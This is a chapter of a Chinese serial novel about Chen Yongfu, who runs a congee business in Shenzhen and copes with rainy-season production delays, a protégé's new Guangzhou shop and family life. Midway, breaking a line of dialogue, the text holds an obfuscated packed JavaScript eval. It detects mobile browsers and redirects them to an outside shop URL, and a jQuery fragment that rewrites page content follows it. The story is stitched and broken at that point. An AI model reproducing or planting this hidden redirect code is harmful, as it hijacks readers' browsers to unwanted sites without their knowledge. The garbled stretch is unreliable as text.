三月底的深圳，雨季说来就来。雨不是下，是泼。哗啦啦地从天上倒下来，砸在玻璃窗上啪啪响。街上的水来不及排，积成小河，黄浊浊的，漂着树叶、塑料袋、一次性饭盒。
陈永福站在工厂办公室的窗前，看着外面白茫茫的雨幕。院子里新到的设备盖着防水布，被雨打得啪啪响。工人们穿着雨衣雨鞋，在雨里跑来跑去，把堆在外面的米袋往仓库里搬。
“陈老板，这雨来得真不是时候。”小林端着茶杯走过来，“赵工说新生产线调试要延后了，电路怕进水。”
“延多久？”
“最少三天。”
陈永福皱眉。三天，香港的订单要赶不上了。
“让赵工想办法，搭棚子也要干。”
“搭了，但雨太大，棚子漏水。”小林说，“安全第一，赵工说得对。”
陈永福没说话，看着雨。雨下得急，像在赶时间。深圳的雨季就是这样，一来就给你个下马威。
手机响了，是郑文达。
“陈老板，香港那边催货，能按时交吗？”
“雨太大，生产线调试延后了。”陈永福实话实说，“我尽量赶。”
“尽量不行，要保证。”郑文达语气严肃，“合同签了，违约要赔钱。”
“我知道。”
“知道就要想办法。”郑文达说，“陈老板，做生意要守信。这次交不上，下次人家就不找你了。”
“我明白。”
挂了电话，陈永福穿上雨衣，去车间。车间里闷热潮湿，机器盖着防尘布。赵工程师和两个工人在检查线路，看见陈永福来，站起来。
“陈老板，这雨……”
“我知道。”陈永福摆摆手，“赵工，能不能先调一部分？雨小点再调剩下的。”
“可以是可以，但进度慢。”赵工说，“而且风险大，万一短路，机器就坏了。”
“坏了我修。”陈永福说，“赵工，帮个忙，这批货要紧。”
赵工看了看他，又看了看窗外的大雨：“行吧，我试试。但陈老板，你得签个免责书，万一出事，我不负责。”
“行，我签。”
拿来纸笔，陈永福签了字。赵工摇摇头，继续干活。
从车间出来，雨小了些。陈永福去仓库。父亲正在清点米袋，拿着本子，一笔一笔记。
“阿爸，米没淋着吧？”
“没有，都搬进来了。”父亲说，“就是有些袋子底湿了，得晾。”
“晾哪儿？”
“我腾出个角落，铺了塑料布。”父亲指了指，“永福，你这米买多了，仓库放不下。”
“新生产线上了，用量大。”
“那也得慢慢来，一下进太多，吃不完会坏。”父亲说，“生意要做长，不能贪多。”
陈永福点点头。父亲说得对，但他停不下来。订单催着，市场催着，郑文达催着。
“阿爸，我下午要去广州，黄秀英那边开业，我去看看。”
“这么大的雨还去？”
“去，答应了。”
父亲叹口气：“路上小心。”
“知道。”
中午雨停了会儿，陈永福开车去广州。车是去年买的二手桑塔纳，花了五万。平时舍不得开，今天赶时间。
出深圳，上广深公路。路况不好，坑坑洼洼，车颠得厉害。雨又下起来了，雨刷器来回刮，刮不干净。前面有辆车陷在水坑里，堵了一路。等了半个钟头才通。
到广州已经下午三点。黄秀英的新店在白云区，挨着服装批发市场。雨中的广州灰蒙蒙的，街道窄，楼旧，但人不少。打伞的，穿雨衣的，在雨里匆匆走。
店门口挂着红布，写着“家香粥铺广州二店开业大吉”。黄秀英在门口张望，看见陈永福的车，赶紧跑过来。
“老板，您可来了。”
“路上堵。”陈永福下车，“开业还顺利？”
“顺利，就是雨大，人少点。”黄秀英递过伞，“老板，里面坐。”
店里装修简单，白墙，瓷砖地，二十几张桌子。已经坐了些客人，大多是在批发市场做工的，浑身湿漉漉的，喝着热粥取暖。
“生意怎么样？”陈永福问。
“上午好，卖了三百多碗。”黄秀英说，“下午雨大，人少了。”
“正常，雨天都这样。”
黄秀英带他看后厨，看仓库，看员工宿舍。一切都井井有条。这个当年蹲在路灯下哭的女孩，现在能把一家店管得这么好。
“老板，百货公司那边谈下来了。”黄秀英说，“专柜费降到四百，促销员工资咱们出一百。我算过了，只要一个月卖两千包，就能保本。”
“两千包？卖得动吗？”
“卖得动。”黄秀英很有信心，“我调查过，这边小餐馆多，自己熬粥麻烦，买料包方便。还有住家户，年轻人不会熬粥，也买。”
陈永福想了想：“行，你看着办。但账要清楚，每天报数。”
“知道。”
看完店，黄秀英请陈永福吃饭。在附近的小餐馆，点了几个粤菜：白切鸡、清蒸鲈鱼、蚝油生菜。
“老板，广州这边跟深圳不一样。”黄秀英边吃边说，“深圳人来自全国各地，口味杂。广州人本地人多，口味刁。咱们的粥，他们嫌淡。”
“那怎么办？”
“我加了点本地调料，比如姜丝、葱花，还有他们爱吃的咸菜。”黄秀英说，“慢慢调，总能调出他们喜欢的味道。”
陈永福看着她。黄秀英眼里有光，那是找到了方向的光。
“秀英，你成长了。”
“都是老板教得好。”黄秀英不好意思地笑笑，“老板，我想……我想在佛山也开一家。”
“这么快？”
“佛山离广州近，工人也多。”黄秀英说，“而且我有经验了，知道怎么做。”
陈永福沉默了一会儿。黄秀英的步子迈得太大，他担心。
“秀英，稳一点。先把广州这两家店做好，再去佛山。”
“可是机会……”
“机会永远有，但命只有一条。”陈永福说，“你太拼了，要注意身体。”
黄秀英低下头：“老板，我……我想多挣点钱，把我爸妈接来。”
“接来是好事，但不能急。”陈永福说，“钱慢慢挣，日子慢慢过。”
“嗯。”
吃完饭，雨停了。陈永福开车回深圳。路上，他一直在想黄秀英的话。广州市场大，机会多，但风险也大。他该放黄秀英去闯，还是拉着她？
不知道。
回到深圳，天已经黑了。雨又下起来，淅淅沥沥的。工厂里灯火通明，赵工带着工人在加班调试机器。
“陈老板，回来了？”赵工满头是汗，“调试好了，可以试生产了。”
“这么快？”
“赶出来的。”赵工说，“但陈老板，我得提醒你，这机器还没完全调好，可能会有小问题。”
“能生产就行。”
试生产开始。机器启动，轰鸣声在车间里回荡。米从这边进去，经过一道道工序，最后变成包装好的粥料。速度比旧生产线快一倍。
第一箱产品下线，陈永福拆开一包，煮了尝。味道没问题，包装没问题。
“赵工，辛苦了。”
“应该的。”赵工擦擦汗，“陈老板，尾款……”
“明天打给你。”
“好，好。”
赵工走了。陈永福站在生产线前，看着机器运转。新生产线投产，产能上来了，香港的订单能赶上了。但他心里不踏实，总觉得太快了，像在跑，停不下来。
回到家，已经晚上十点。林玉兰还没睡，在等他。
“怎么这么晚？”
“广州去了趟，工厂调试机器。”陈永福脱下雨衣，“孩子们睡了？”
“睡了。”林玉兰端出热汤，“喝点，去去寒。”
汤是排骨莲藕汤，炖得烂烂的，入口即化。陈永福喝了一大碗，身上暖和了。
“玉兰，黄秀英想在佛山开店。”
“这么快？”
“嗯，她说机会好。”
“你怎么想？”
“我让她稳一点。”陈永福说，“可我也知道，机会不等人。”
林玉兰在他旁边坐下：“阿福，秀英那孩子，像当年的你。敢闯，敢拼。你该让她去。”
“我怕她摔跟头。”
“摔了才知道疼，才知道怎么站起来。”林玉兰说，“你当年不也摔过？老街拆迁那会儿，你几天几夜睡不着。”
是啊，陈永福想起老街拆迁的时候。那时候觉得天要塌了，现在回头看，不过是个坎。过了坎，路更宽。
“你说得对。”陈永福握住她的手，“玉兰，有你在，我心里踏实。”
“傻子。”林玉兰靠在他肩上，“睡吧，明天还要早起。”
第二天，雨还在下。陈永福去银行给赵工打尾款，又还了这个月的贷款。账上的数字又少了一截。
从银行出来，他去了街道办。张主任在办公室，看见他，热情招呼。
“陈老板，正想找你呢。”
“张主任，什么事？”
“市里要开个体经济座谈会，点名要你去发言。”张主任说，“这回是市领导主持，机会难得。”
“我……我不会说话。”
“上次不就说得很好？”张主任笑，“陈老板，别谦虚。你现在是典型，要发挥作用。”
“什么时候？”
“下周三。”
陈永福算算时间，还有五天。
“行，我去。”
“好，我让人把会议材料送你。”张主任说，“陈老板，好好准备，这可是露脸的机会。”
从街道办出来，陈永福想，又是开会，又是发言。他不喜欢这些，但推不掉。他现在是“典型”，是“榜样”，要承担这些。
回到工厂，小林兴冲冲地来找他。
“陈老板，杯装粥的样品做出来了，您看看。”
实验室里，几个纸杯摆着。杯身上印着“家香即食粥”，有卡通图案。打开杯盖，里面是米粉和料包。
“怎么吃？”
“加热水，泡三分钟。”小林说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380758|200163||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，“我试过了，味道还行，但不如煮的好。”
陈永福泡了一杯。三分钟后，揭开盖子，粥成糊状，味道一般，有股塑料味。
“这味道……”
“杯子的味道，没办法。”小林说，“陈老板，我觉得杯装粥方向不对。咱们的粥要煮才好喝，泡的不行。”
陈永福也这么觉得。但他想起郑文达的话：方便，年轻人喜欢。
“先放放，再研究。”
“好。”
从实验室出来，陈永福去车间。新生产线运转正常，工人两班倒，二十四小时不停。一箱箱产品堆在仓库，等着发货。
父亲在仓库里，戴着老花镜，对账本。
“阿爸，歇会儿。”
“不累。”父亲抬起头，“永福，这新生产线出得真快，一天能出多少？”
“两万包。”
“两万……”父亲算了算，“那得卖多少才能回本？”
“慢慢卖，总能卖完。”
“就怕卖不完。”父亲合上账本，“永福，阿爸不懂生意，但懂种地。种地要看天，看地，看种子。生意也一样，要看市场，看人，看货。你不能光顾着出，不顾着卖。”
陈永福点点头。父亲的话朴实，但有道理。
“阿爸，我知道了。”
“知道就好。”父亲站起来，“走，吃饭去。”
食堂里，工人们正在吃饭。看见陈永福来，都打招呼。饭菜简单，一荤一素，但管饱。父亲打了饭，跟工人们坐一桌，边吃边聊。
陈永福在另一桌坐下。小林端着饭过来。
“陈老板，儿童粥的市场反应来了。”小林拿出几张纸，“超市那边说，卖得一般。家长嫌贵，一包要四毛，够买两个馒头了。”
“降价呢？”
“降到三毛五，可能好点。”小林说，“但我算了，三毛五利润太薄，划不来。”
“先降，把市场打开再说。”
“行。”
吃完饭，陈永福去店里。罗湖店生意照常，南山店、福田店也没问题。王建军把“粥友俱乐部”的卡片设计好了，红色的卡片，印着“家香粥友”，背面是十个小格子，盖满章送一碗粥。
“老板，您看行吗？”
“行，印吧。”
“印多少？”
“先印一千张。”
“好。”
从店里出来，雨停了。太阳从云缝里露出来，照在湿漉漉的街上，反着光。陈永福慢慢走回家。路上，他看见几个孩子在玩水，踩着水坑，嘻嘻哈哈。他们的父母在旁边看着，笑。
他想起了□□小时候，也爱玩水。现在长大了，不玩了，整天看书学习。时间真快。
回到家，□□在做作业，晓梅在学步车里摇摇晃晃地走。母亲在厨房做饭，林玉兰在收拾屋子。
“回来了？”林玉兰问。
“嗯。”
“洗手吃饭。”
饭桌上，□□说：“阿爸，我们老师说要写作文，题目是《我的爸爸》。我写你了。”
“写我什么？”
“写你熬粥，写你开工厂，写你辛苦。”□□说，“老师说写得好，要贴在墙上。”
陈永福心里一暖：“你阿爸没什么好写的，就一个熬粥的。”
“熬粥的怎么了？我们班王小军他爸是科长，我觉得还没你厉害。”□□认真地说，“你能开工厂，他能吗？”
大家都笑了。
“吃饭吃饭，别说了。”母亲夹菜，“永福，多吃点，看你瘦的。”
吃完饭，陈永福帮□□改作文。作文写得朴实，但真情实感。写到父亲深夜还在工厂，写到父亲的手粗糙但有力量，写到父亲说“要对得起每一碗粥”。
陈永福眼睛有点湿。儿子懂事了。
“建国，写得很好。”他说，“但阿爸没你说的那么厉害。”
“你就是厉害。”□□坚持，“阿爸，我长大了也要像你一样。”
“像阿爸干嘛？阿爸就是个熬粥的。”
“熬粥怎么了？能养活一家人，能帮那么多人，就是厉害。”
陈永福摸摸儿子的头，说不出话。
夜深了，孩子们睡了。陈永福坐在书桌前，准备座谈会的发言稿。这次他不打算念稿子了，想讲真话。讲他怎么来深圳，怎么熬粥，怎么开店，怎么开工厂。讲他的困惑，他的压力，他的希望。
他写得很慢，一笔一画。写到老街的老榕树，写到第一个客人，写到拆迁，写到父亲来深圳，写到黄秀英，写到王建军，写到郑文达，写到林玉兰，写到孩子们。
写着写着，他发现自己不是在写发言稿，是在写自己的人生。
这一路，有苦有甜，有笑有泪。但值得。
窗外，雨又下起来了。淅淅沥沥的，像在伴奏。
陈永福放下笔，走到窗前。深圳的夜雨，温柔而坚定，像这座城市，像这里的人。
他知道，前路还长，雨还会下，坎还会有。
但他不怕了。
有家，有粥，有深圳。
睡吧，明天还要早起熬粥。